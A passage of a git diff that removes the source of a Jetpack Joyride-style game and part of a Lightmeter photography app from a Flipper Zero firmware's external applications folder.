+ BARRY_HEIGHT < coin->point.y); // Barry is above the coin -} - -void spawn_random_coin(COIN* const coins) { - // Select a random pattern - int pattern_index = rand() % (sizeof(coin_patterns) / sizeof(coin_patterns[0])); - const COIN_PATTERN* pattern = &coin_patterns[pattern_index]; - - // Count available slots for new coins - int available_slots = 0; - for(int i = 0; i < COINS_MAX; ++i) { - if(coins[i].point.x <= 0) { - ++available_slots; - } - } - - // If there aren't enough slots, return without spawning coins - if(available_slots < pattern->count) return; - - // Spawn coins according to the selected pattern - int coin_index = 0; - int random_offset = rand() % (SCREEN_HEIGHT - PATTERN_MAX_HEIGHT); - int random_offset_x = rand() % 16; - for(int i = 0; i < pattern->count; ++i) { - // Find an available slot for a new coin - while(coins[coin_index].point.x > 0 && coin_index < COINS_MAX) { - ++coin_index; - } - // If no slot is available, stop spawning coins - if(coin_index == COINS_MAX) break; - - // Spawn the coin - coins[coin_index].point.x = SCREEN_WIDTH - 1 + pattern->coins[i].x + random_offset_x; - coins[coin_index].point.y = - random_offset + - pattern->coins[i] - .y; // The pattern is spawned at a random y position, but not too close to the screen edge - } -} - -void draw_coins(const COIN* coins, Canvas* const canvas, const GameSprites* sprites) { - canvas_set_color(canvas, ColorBlack); - for(int i = 0; i < COINS_MAX; ++i) { - if(coins[i].point.x > 0) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon(canvas, coins[i].point.x, coins[i].point.y, sprites->coin); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon(canvas, coins[i].point.x, coins[i].point.y, sprites->coin_infill); - } - } -} diff --git a/applications/external/jetpack_joyride/includes/coin.h b/applications/external/jetpack_joyride/includes/coin.h deleted file mode 100644 index 41fd21ddc..000000000 --- a/applications/external/jetpack_joyride/includes/coin.h +++ /dev/null @@ -1,26 +0,0 @@ -#ifndef COIN_H -#define COIN_H - -#include - -#include "point.h" -#include "barry.h" - -#define COINS_MAX 15 - -typedef struct { - float gravity; - POINT point; -} COIN; - -typedef struct { - int count; - POINT coins[COINS_MAX]; -} COIN_PATTERN; - -void coin_tick(COIN* const coins, BARRY* const barry, int* const poins); -void spawn_random_coin(COIN* const coins); -bool coin_colides(COIN* const coin, BARRY* const barry); -void draw_coins(const COIN* coins, Canvas* const canvas, const GameSprites* sprites); - -#endif // COIN_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/game_sprites.h b/applications/external/jetpack_joyride/includes/game_sprites.h deleted file mode 100644 index d38494bf8..000000000 --- a/applications/external/jetpack_joyride/includes/game_sprites.h +++ /dev/null @@ -1,35 +0,0 @@ -#ifndef GAME_SPRITES_H -#define GAME_SPRITES_H - -#include "point.h" -#include - -#define SCREEN_WIDTH 128 -#define SCREEN_HEIGHT 64 - -#define BARRY_WIDTH 11 -#define BARRY_HEIGHT 15 - -#define MISSILE_WIDTH 26 -#define MISSILE_HEIGHT 12 - -#define SCIENTIST_WIDTH 9 -#define SCIENTIST_HEIGHT 14 - -#define COIN_WIDTH 7 - -typedef struct { - IconAnimation* barry; - const Icon* barry_infill; - const Icon* scientist_left; - const Icon* scientist_left_infill; - const Icon* scientist_right; - const Icon* scientist_right_infill; - const Icon* coin; - const Icon* coin_infill; - IconAnimation* missile; - IconAnimation* alert; - const Icon* missile_infill; -} GameSprites; - -#endif // GAME_SPRITES_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/game_state.c b/applications/external/jetpack_joyride/includes/game_state.c deleted file mode 100644 index a8a9db618..000000000 --- a/applications/external/jetpack_joyride/includes/game_state.c +++ /dev/null @@ -1,5 +0,0 @@ -#include "game_state.h" - -void game_state_tick(GameState* const game_state) { - game_state->distance++; -} diff --git a/applications/external/jetpack_joyride/includes/game_state.h b/applications/external/jetpack_joyride/includes/game_state.h deleted file mode 100644 index 1e97aaf18..000000000 --- a/applications/external/jetpack_joyride/includes/game_state.h +++ /dev/null @@ -1,34 +0,0 @@ -#ifndef GAMESTATE_H -#define GAMESTATE_H - -#include -#include - -#include "barry.h" -#include "scientist.h" -#include "coin.h" -#include "particle.h" -#include "game_sprites.h" -#include "states.h" -#include "missile.h" -#include "background_assets.h" -typedef struct { - int total_coins; - int distance; - bool new_highscore; - BARRY barry; - COIN coins[COINS_MAX]; - PARTICLE particles[PARTICLES_MAX]; - SCIENTIST scientists[SCIENTISTS_MAX]; - MISSILE missiles[MISSILES_MAX]; - BackgroundAsset bg_assets[BG_ASSETS_MAX]; - State state; - GameSprites sprites; - FuriMutex* mutex; - FuriTimer* timer; - void (*death_handler)(); -} GameState; - -void game_state_tick(GameState* const game_state); - -#endif // GAMESTATE_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/missile.c b/applications/external/jetpack_joyride/includes/missile.c deleted file mode 100644 index af47e8478..000000000 --- a/applications/external/jetpack_joyride/includes/missile.c +++ /dev/null @@ -1,86 +0,0 @@ -#include -#include - -#include -#include - -#include "states.h" -#include "game_sprites.h" -#include "missile.h" -#include "barry.h" - -void missile_tick(MISSILE* const missiles, BARRY* const barry, void (*death_handler)()) { - // Move missiles towards the player - for(int i = 0; i < MISSILES_MAX; i++) { - if(missiles[i].visible && missile_colides(&missiles[i], barry)) { - death_handler(); - } - if(missiles[i].visible) { - missiles[i].point.x -= 2; // move left by 2 units - if(missiles[i].point.x < -MISSILE_WIDTH) { // if the missile is out of screen - missiles[i].visible = false; // set missile as "inactive" - } - } - } -} - -void spawn_random_missile(MISSILE* const missiles) { - // Check for an available slot for a new missile - for(int i = 0; i < MISSILES_MAX; ++i) { - if(!missiles[i].visible) { - missiles[i].point.x = 2 * SCREEN_WIDTH; - missiles[i].point.y = rand() % (SCREEN_HEIGHT - MISSILE_HEIGHT); - missiles[i].visible = true; - break; - } - } -} - -void draw_missiles(const MISSILE* missiles, Canvas* const canvas, const GameSprites* sprites) { - for(int i = 0; i < MISSILES_MAX; ++i) { - if(missiles[i].visible) { - canvas_set_color(canvas, ColorBlack); - - if(missiles[i].point.x > 128) { - canvas_draw_icon_animation( - canvas, SCREEN_WIDTH - 7, missiles[i].point.y, sprites->alert); - } else { - canvas_draw_icon_animation( - canvas, missiles[i].point.x, missiles[i].point.y, sprites->missile); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon( - canvas, missiles[i].point.x, missiles[i].point.y, sprites->missile_infill); - } - } - } -} - -bool missile_colides(MISSILE* const missile, BARRY* const barry) { - return !( - barry->point.x > - missile->point.x + MISSILE_WIDTH - 14 || // Barry is to the right of the missile - barry->point.x + BARRY_WIDTH - 3 < - missile->point.x || // Barry is to the left of the missile - barry->point.y > missile->point.y + MISSILE_HEIGHT || // Barry is below the missile - barry->point.y + BARRY_HEIGHT < missile->point.y); // Barry is above the missile -} - -int get_rocket_spawn_distance(int player_distance) { - // Define the start and end points for rocket spawn distance - int start_distance = 256; - int end_distance = 24; - - // Define the maximum player distance at which the spawn distance should be at its minimum - int max_player_distance = 5000; // Adjust this value based on your game's difficulty curve - - if(player_distance >= max_player_distance) { - return end_distance; - } - - // Calculate the linear interpolation factor - float t = (float)player_distance / max_player_distance; - - // Interpolate the rocket spawn distance - return start_distance + t * (end_distance - start_distance); -} diff --git a/applications/external/jetpack_joyride/includes/missile.h b/applications/external/jetpack_joyride/includes/missile.h deleted file mode 100644 index a5af4e885..000000000 --- a/applications/external/jetpack_joyride/includes/missile.h +++ /dev/null @@ -1,24 +0,0 @@ -#ifndef MISSILE_H -#define MISSILE_H - -#include -#include "game_sprites.h" - -#include "states.h" -#include "point.h" -#include "barry.h" - -#define MISSILES_MAX 5 - -typedef struct { - POINT point; - bool visible; -} MISSILE; - -void missile_tick(MISSILE* const missiles, BARRY* const barry, void (*death_handler)()); -void spawn_random_missile(MISSILE* const MISSILEs); -bool missile_colides(MISSILE* const MISSILE, BARRY* const barry); -int get_rocket_spawn_distance(int player_distance); -void draw_missiles(const MISSILE* missiles, Canvas* const canvas, const GameSprites* sprites); - -#endif // MISSILE_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/particle.c b/applications/external/jetpack_joyride/includes/particle.c deleted file mode 100644 index cf8e6e0a6..000000000 --- a/applications/external/jetpack_joyride/includes/particle.c +++ /dev/null @@ -1,57 +0,0 @@ -#include - -#include "particle.h" -#include "scientist.h" -#include "barry.h" - -void particle_tick(PARTICLE* const particles, SCIENTIST* const scientists) { - // Move particles - for(int i = 0; i < PARTICLES_MAX; i++) { - if(particles[i].point.y > 0) { - particles[i].point.y += PARTICLE_VELOCITY; - - // Check collision with scientists - for(int j = 0; j < SCIENTISTS_MAX; j++) { - if(scientists[j].state == ScientistStateAlive && scientists[j].point.x > 0) { - // Check whether the particle lies within the scientist's bounding box - if(!(particles[i].point.x > scientists[j].point.x + SCIENTIST_WIDTH || - particles[i].point.x < scientists[j].point.x || - particles[i].point.y > scientists[j].point.y + SCIENTIST_HEIGHT || - particles[i].point.y < scientists[j].point.y)) { - scientists[j].state = ScientistStateDead; - // (*points) += 2; // Increase the score by 2 - } - } - } - - if(particles[i].point.x < 0 || particles[i].point.x > SCREEN_WIDTH || - particles[i].point.y < 0 || particles[i].point.y > SCREEN_HEIGHT) { - particles[i].point.y = 0; - } - } - } -} - -void spawn_random_particles(PARTICLE* const particles, BARRY* const barry) { - for(int i = 0; i < PARTICLES_MAX; i++) { - if(particles[i].point.y <= 0) { - particles[i].point.x = barry->point.x + (rand() % 4); - particles[i].point.y = barry->point.y + 14; - break; - } - } -} - -void draw_particles(const PARTICLE* particles, Canvas* const canvas) { - canvas_set_color(canvas, ColorBlack); - for(int i = 0; i < PARTICLES_MAX; i++) { - if(particles[i].point.y > 0) { - canvas_draw_line( - canvas, - particles[i].point.x, - particles[i].point.y, - particles[i].point.x, - particles[i].point.y + 3); - } - } -} diff --git a/applications/external/jetpack_joyride/includes/particle.h b/applications/external/jetpack_joyride/includes/particle.h deleted file mode 100644 index 3442c9c4e..000000000 --- a/applications/external/jetpack_joyride/includes/particle.h +++ /dev/null @@ -1,21 +0,0 @@ - - -#ifndef PARTICLE_H -#define PARTICLE_H - -#include "point.h" -#include "scientist.h" -#include "barry.h" - -#define PARTICLES_MAX 50 -#define PARTICLE_VELOCITY 2 - -typedef struct { - POINT point; -} PARTICLE; - -void particle_tick(PARTICLE* const particles, SCIENTIST* const scientists); -void spawn_random_particles(PARTICLE* const particles, BARRY* const barry); -void draw_particles(const PARTICLE* particles, Canvas* const canvas); - -#endif // PARTICLE_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/point.h b/applications/external/jetpack_joyride/includes/point.h deleted file mode 100644 index 02c9a6ce4..000000000 --- a/applications/external/jetpack_joyride/includes/point.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef POINT_H -#define POINT_H - -typedef struct { - int x; - int y; -} POINT; - -typedef struct { - float x; - float y; -} POINTF; - -#endif // POINT_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/scientist.c b/applications/external/jetpack_joyride/includes/scientist.c deleted file mode 100644 index b1a8a14c0..000000000 --- a/applications/external/jetpack_joyride/includes/scientist.c +++ /dev/null @@ -1,77 +0,0 @@ -#include "scientist.h" -#include "game_sprites.h" - -#include -#include - -void scientist_tick(SCIENTIST* const scientists) { - for(int i = 0; i < SCIENTISTS_MAX; i++) { - if(scientists[i].visible) { - if(scientists[i].point.x < 64) scientists[i].velocity_x = 0.5f; - - scientists[i].point.x -= scientists[i].state == ScientistStateAlive ? - 1 - scientists[i].velocity_x : - 1; // move based on velocity_x - int width = (scientists[i].state == ScientistStateAlive) ? SCIENTIST_WIDTH : - SCIENTIST_HEIGHT; - if(scientists[i].point.x <= -width) { // if the scientist is out of screen - scientists[i].visible = false; - } - } - } -} - -void spawn_random_scientist(SCIENTIST* const scientists) { - float velocities[] = {-0.5f, 0.0f, 0.5f, -1.0f}; - // Check for an available slot for a new scientist - for(int i = 0; i < SCIENTISTS_MAX; ++i) { - if(!scientists[i].visible && - (rand() % 1000) < 10) { // Spawn rate is less frequent than coins - scientists[i].state = ScientistStateAlive; - scientists[i].point.x = 127; - scientists[i].point.y = 49; - scientists[i].velocity_x = velocities[rand() % 4]; - scientists[i].visible = true; - break; - } - } -} - -void draw_scientists(const SCIENTIST* scientists, Canvas* const canvas, const GameSprites* sprites) { - for(int i = 0; i < SCIENTISTS_MAX; ++i) { - if(scientists[i].visible) { - canvas_set_color(canvas, ColorBlack); - if(scientists[i].state == ScientistStateAlive) { - canvas_draw_icon( - canvas, - (int)scientists[i].point.x, - scientists[i].point.y, - scientists[i].velocity_x >= 0 ? sprites->scientist_right : - sprites->scientist_left); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon( - canvas, - (int)scientists[i].point.x, - scientists[i].point.y, - scientists[i].velocity_x >= 0 ? sprites->scientist_right_infill : - sprites->scientist_left_infill); - - } else { - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon( - canvas, - (int)scientists[i].point.x, - scientists[i].point.y + 5, - &I_dead_scientist); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon( - canvas, - (int)scientists[i].point.x, - scientists[i].point.y + 5, - &I_dead_scientist_infill); - } - } - } -} \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/scientist.h b/applications/external/jetpack_joyride/includes/scientist.h deleted file mode 100644 index a49e8028c..000000000 --- a/applications/external/jetpack_joyride/includes/scientist.h +++ /dev/null @@ -1,29 +0,0 @@ -#ifndef SCIENTIST_H -#define SCIENTIST_H - -#include "point.h" -#include "game_sprites.h" -#include - -#define SCIENTIST_VELOCITY_MIN -0.5f -#define SCIENTIST_VELOCITY_MAX 0.5f - -#define SCIENTISTS_MAX 6 - -typedef enum { - ScientistStateAlive, - ScientistStateDead, -} ScientistState; - -typedef struct { - bool visible; - POINTF point; - float velocity_x; - ScientistState state; -} SCIENTIST; - -void scientist_tick(SCIENTIST* const scientist); -void spawn_random_scientist(SCIENTIST* const scientists); -void draw_scientists(const SCIENTIST* scientists, Canvas* const canvas, const GameSprites* sprites); - -#endif // SCIENTIST_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/states.h b/applications/external/jetpack_joyride/includes/states.h deleted file mode 100644 index d58e3e1f6..000000000 --- a/applications/external/jetpack_joyride/includes/states.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef STATE_H -#define STATE_H - -typedef enum { - GameStateLife, - GameStateGameOver, -} State; - -#endif // STATE_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/jetpack.c b/applications/external/jetpack_joyride/jetpack.c deleted file mode 100644 index c12f094c9..000000000 --- a/applications/external/jetpack_joyride/jetpack.c +++ /dev/null @@ -1,379 +0,0 @@ -#include - -#include -#include -#include -#include -#include -#include - -#include "includes/point.h" -#include "includes/barry.h" -#include "includes/scientist.h" -#include "includes/particle.h" -#include "includes/coin.h" -#include "includes/missile.h" -#include "includes/background_assets.h" - -#include "includes/game_state.h" - -#define TAG "Jetpack Joyride" -#define SAVING_DIRECTORY "/ext/apps/Games" -#define SAVING_FILENAME SAVING_DIRECTORY "/jetpack.save" -static GameState* global_state; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} GameEvent; - -typedef struct { - int max_distance; - int total_coins; -} SaveGame; - -static SaveGame save_game; - -static bool storage_game_state_load() { - Storage* storage = furi_record_open(RECORD_STORAGE); - File* file = storage_file_alloc(storage); - - uint16_t bytes_readed = 0; - if(storage_file_open(file, SAVING_FILENAME, FSAM_READ, FSOM_OPEN_EXISTING)) - bytes_readed = storage_file_read(file, &save_game, sizeof(SaveGame)); - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); - return bytes_readed == sizeof(SaveGame); -} - -static void storage_game_state_save() { - Storage* storage = furi_record_open(RECORD_STORAGE); - - if(storage_common_stat(storage, SAVING_DIRECTORY, NULL) == FSE_NOT_EXIST) { - if(!storage_simply_mkdir(storage, SAVING_DIRECTORY)) { - return; - } - } - - File* file = storage_file_alloc(storage); - if(storage_file_open(file, SAVING_FILENAME, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - storage_file_write(file, &save_game, sizeof(SaveGame)); - } - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); -} - -void handle_death() { - global_state->state = GameStateGameOver; - global_state->new_highscore = global_state->distance > save_game.max_distance; - - if(global_state->distance > save_game.max_distance) { - save_game.max_distance = global_state->distance; - } - - save_game.total_coins += global_state->total_coins; - - storage_game_state_save(); -} - -static void jetpack_game_state_init(GameState* const game_state) { - UNUSED(game_state); - UNUSED(storage_game_state_save); - BARRY barry; - barry.gravity = 0; - barry.point.x = 32 + 5; - barry.point.y = 32; - barry.isBoosting = false; - - GameSprites sprites; - sprites.barry = icon_animation_alloc(&A_barry); - sprites.barry_infill = &I_barry_infill; - - sprites.scientist_left = (&I_scientist_left); - sprites.scientist_left_infill = (&I_scientist_left_infill); - sprites.scientist_right = (&I_scientist_right); - sprites.scientist_right_infill = (&I_scientist_right_infill); - - sprites.coin = (&I_coin); - sprites.coin_infill = (&I_coin_infill); - - sprites.missile = icon_animation_alloc(&A_missile); - sprites.missile_infill = &I_missile_infill; - - sprites.alert = icon_animation_alloc(&A_alert); - - icon_animation_start(sprites.barry); - icon_animation_start(sprites.missile); - icon_animation_start(sprites.alert); - - game_state->barry = barry; - game_state->total_coins = 0; - game_state->distance = 0; - game_state->new_highscore = false; - game_state->sprites = sprites; - game_state->state = GameStateLife; - game_state->death_handler = handle_death; - - memset(game_state->bg_assets, 0, sizeof(game_state->bg_assets)); - - memset(game_state->scientists, 0, sizeof(game_state->scientists)); - memset(game_state->coins, 0, sizeof(game_state->coins)); - memset(game_state->particles, 0, sizeof(game_state->particles)); - memset(game_state->missiles, 0, sizeof(game_state->missiles)); -} - -static void jetpack_game_state_free(GameState* const game_state) { - icon_animation_free(game_state->sprites.barry); - icon_animation_free(game_state->sprites.missile); - icon_animation_free(game_state->sprites.alert); - - free(game_state); -} - -static void jetpack_game_tick(GameState* const game_state) { - if(game_state->state == GameStateGameOver) return; - barry_tick(&game_state->barry); - game_state_tick(game_state); - coin_tick(game_state->coins, &game_state->barry, &game_state->total_coins); - particle_tick(game_state->particles, game_state->scientists); - scientist_tick(game_state->scientists); - missile_tick(game_state->missiles, &game_state->barry, game_state->death_handler); - - background_assets_tick(game_state->bg_assets); - - // generate background every 64px aka. ticks - if(game_state->distance % 64 == 0 && rand() % 3 == 0) { - spawn_random_background_asset(game_state->bg_assets); - } - - if(game_state->distance % 48 == 0 && rand() % 2 == 0) { - spawn_random_coin(game_state->coins); - } - - if(game_state->distance % get_rocket_spawn_distance(game_state->distance) == 0 && - rand() % 2 == 0) { - spawn_random_missile(game_state->missiles); - } - - spawn_random_scientist(game_state->scientists); - - if(game_state->barry.isBoosting) { - spawn_random_particles(game_state->particles, &game_state->barry); - } -} - -static void jetpack_game_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const GameState* game_state = ctx; - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - if(game_state->state == GameStateLife) { - canvas_set_bitmap_mode(canvas, false); - - draw_background_assets(game_state->bg_assets, canvas, game_state->distance); - - canvas_set_bitmap_mode(canvas, true); - - draw_coins(game_state->coins, canvas, &game_state->sprites); - draw_scientists(game_state->scientists, canvas, &game_state->sprites); - draw_particles(game_state->particles, canvas); - draw_missiles(game_state->missiles, canvas, &game_state->sprites); - - draw_barry(&game_state->barry, canvas, &game_state->sprites); - - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - char buffer[12]; - snprintf(buffer, sizeof(buffer), "%u m", game_state->distance / 10); - canvas_draw_str_aligned(canvas, 123, 15, AlignRight, AlignBottom, buffer); - - snprintf(buffer, sizeof(buffer), "$%u", game_state->total_coins); - canvas_draw_str_aligned(canvas, 5, 15, AlignLeft, AlignBottom, buffer); - } - - if(game_state->state == GameStateGameOver) { - // Show highscore - char buffer[64]; - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignTop, "You flew"); - - snprintf( - buffer, - sizeof(buffer), - game_state->new_highscore ? "%u m (new best)" : "%u m", - game_state->distance / 10); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 16, AlignCenter, AlignTop, buffer); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 30, AlignCenter, AlignTop, "and collected"); - - snprintf(buffer, sizeof(buffer), "$%u", game_state->total_coins); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 41, AlignCenter, AlignTop, buffer); - - snprintf( - buffer, - sizeof(buffer), - "Best: %u m, Tot: $%u", - save_game.max_distance / 10, - save_game.total_coins); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 63, AlignCenter, AlignBottom, buffer); - - canvas_draw_rframe(canvas, 0, 3, 128, 49, 5); - - // char buffer[12]; - // snprintf(buffer, sizeof(buffer), "Dist: %u", game_state->distance); - // canvas_draw_str_aligned(canvas, 123, 12, AlignRight, AlignBottom, buffer); - - // snprintf(buffer, sizeof(buffer), "Score: %u", game_state->points); - // canvas_draw_str_aligned(canvas, 5, 12, AlignLeft, AlignBottom, buffer); - - // canvas_draw_str_aligned(canvas, 64, 34, AlignCenter, AlignCenter, "Highscore:"); - // snprintf(buffer, sizeof(buffer), "Dist: %u", save_game.max_distance); - // canvas_draw_str_aligned(canvas, 123, 50, AlignRight, AlignBottom, buffer); - - // snprintf(buffer, sizeof(buffer), "Score: %u", save_game.max_score); - // canvas_draw_str_aligned(canvas, 5, 50, AlignLeft, AlignBottom, buffer); - - // canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignCenter, "boom."); - - // if(furi_timer_is_running(game_state->timer)) { - // furi_timer_start(game_state->timer, 0); - // } - } - - // canvas_draw_frame(canvas, 0, 0, 128, 64); - - furi_mutex_release(game_state->mutex); -} - -static void jetpack_game_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void jetpack_game_update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -int32_t jetpack_game_app(void* p) { - UNUSED(p); - int32_t return_code = 0; - - if(!storage_game_state_load()) { - memset(&save_game, 0, sizeof(save_game)); - } - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); - - GameState* game_state = malloc(sizeof(GameState)); - - global_state = game_state; - jetpack_game_state_init(game_state); - - game_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!game_state->mutex) { - FURI_LOG_E(TAG, "cannot create mutex\r\n"); - return_code = 255; - goto free_and_exit; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, jetpack_game_render_callback, game_state); - view_port_input_callback_set(view_port, jetpack_game_input_callback, event_queue); - - FuriTimer* timer = - furi_timer_alloc(jetpack_game_update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 25); - - game_state->timer = timer; - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - GameEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypeRelease && event.input.key == InputKeyOk) { - game_state->barry.isBoosting = false; - } - - // Reset highscore, for debug purposes - if(event.input.type == InputTypeLong && event.input.key == InputKeyLeft) { - save_game.max_distance = 0; - save_game.total_coins = 0; - storage_game_state_save(); - } - - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - break; - case InputKeyLeft: - break; - case InputKeyOk: - if(game_state->state == GameStateGameOver) { - jetpack_game_state_init(game_state); - } - - if(game_state->state == GameStateLife) { - // Do something - game_state->barry.isBoosting = true; - } - - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } else if(event.type == EventTypeTick) { - jetpack_game_tick(game_state); - } - } - - view_port_update(view_port); - furi_mutex_release(game_state->mutex); - } - - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_mutex_free(game_state->mutex); - -free_and_exit: - jetpack_game_state_free(game_state); - furi_message_queue_free(event_queue); - - return return_code; -} \ No newline at end of file diff --git a/applications/external/lightmeter/LICENSE b/applications/external/lightmeter/LICENSE deleted file mode 100644 index cb2f65db5..000000000 --- a/applications/external/lightmeter/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2022 Oleksii Kutuzov - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/lightmeter/README.md b/applications/external/lightmeter/README.md deleted file mode 100644 index e90630c03..000000000 --- a/applications/external/lightmeter/README.md +++ /dev/null @@ -1,17 +0,0 @@ -## Lightmeter app for photography - -An application that suggests settings for your manual camera based on the reading of the ambient light sensor. Can also be used in a pure lux meter mode. - -## Supported sensors - -- BH1750 -- MAX44009 - -## Wiring - -| Sensor | Flipper Zero | -| ------ | ------------ | -| VCC | 3.3V | -| GND | GND | -| SCL | C0 | -| SDA | C1 | diff --git a/applications/external/lightmeter/application.fam b/applications/external/lightmeter/application.fam deleted file mode 100644 index 940f7c167..000000000 --- a/applications/external/lightmeter/application.fam +++ /dev/null @@ -1,34 +0,0 @@ -App( - appid="lightmeter", - name="Lightmeter", - apptype=FlipperAppType.EXTERNAL, - entry_point="lightmeter_app", - requires=[ - "gui", - ], - stack_size= 4 * 1024, - order=90, - fap_version=(1, 2), - fap_icon="lightmeter.png", - fap_category="GPIO", - fap_private_libs=[ - Lib( - name="BH1750", - cincludes=["."], - sources=[ - "BH1750.c", - ], - ), - Lib( - name="MAX44009", - cincludes=["."], - sources=[ - "MAX44009.c", - ], - ), - ], - fap_description="Lightmeter app for photography", - fap_author="Oleksii Kutuzov", - fap_weburl="https://github.com/oleksiikutuzov/flipperzero-lightmeter", - fap_icon_assets="icons", -) diff --git a/applications/external/lightmeter/docs/README.md b/applications/external/lightmeter/docs/README.md deleted file mode 100644 index e90630c03..000000000 --- a/applications/external/lightmeter/docs/README.md +++ /dev/null @@ -1,17 +0,0 @@ -## Lightmeter app for photography - -An application that suggests settings for your manual camera based on the reading of the ambient light sensor. Can also be used in a pure lux meter mode. - -## Supported sensors - -- BH1750 -- MAX44009 - -## Wiring - -| Sensor | Flipper Zero | -| ------ | ------------ | -| VCC | 3.3V | -| GND | GND | -| SCL | C0 | -| SDA | C1 | diff --git a/applications/external/lightmeter/docs/changelog.md b/applications/external/lightmeter/docs/changelog.md deleted file mode 100644 index a891921c7..000000000 --- a/applications/external/lightmeter/docs/changelog.md +++ /dev/null @@ -1,15 +0,0 @@ -## v1.2 - -* Lux only screen now has statistics -* Settings are now stored on SD card -* You can choose the resolution (BH1750 only) and address for sensor - -(thanks to @danielskowronski for contributing to this update) - -## v1.1 - -Added support for MAX44009 sensor (thanks to @wosk) - -## v1.0 - -Initial release for Flipper Application Catalog diff --git a/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c deleted file mode 100644 index 2487d5817..000000000 --- a/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "lightmeter_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const lightmeter_on_enter_handlers[])(void*) = { -#include "lightmeter_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const lightmeter_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "lightmeter_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const lightmeter_on_exit_handlers[])(void* context) = { -#include "lightmeter_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers lightmeter_scene_handlers = { - .on_enter_handlers = lightmeter_on_enter_handlers, - .on_event_handlers = lightmeter_on_event_handlers, - .on_exit_handlers = lightmeter_on_exit_handlers, - .scene_num = LightMeterAppSceneNum, -}; diff --git a/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h 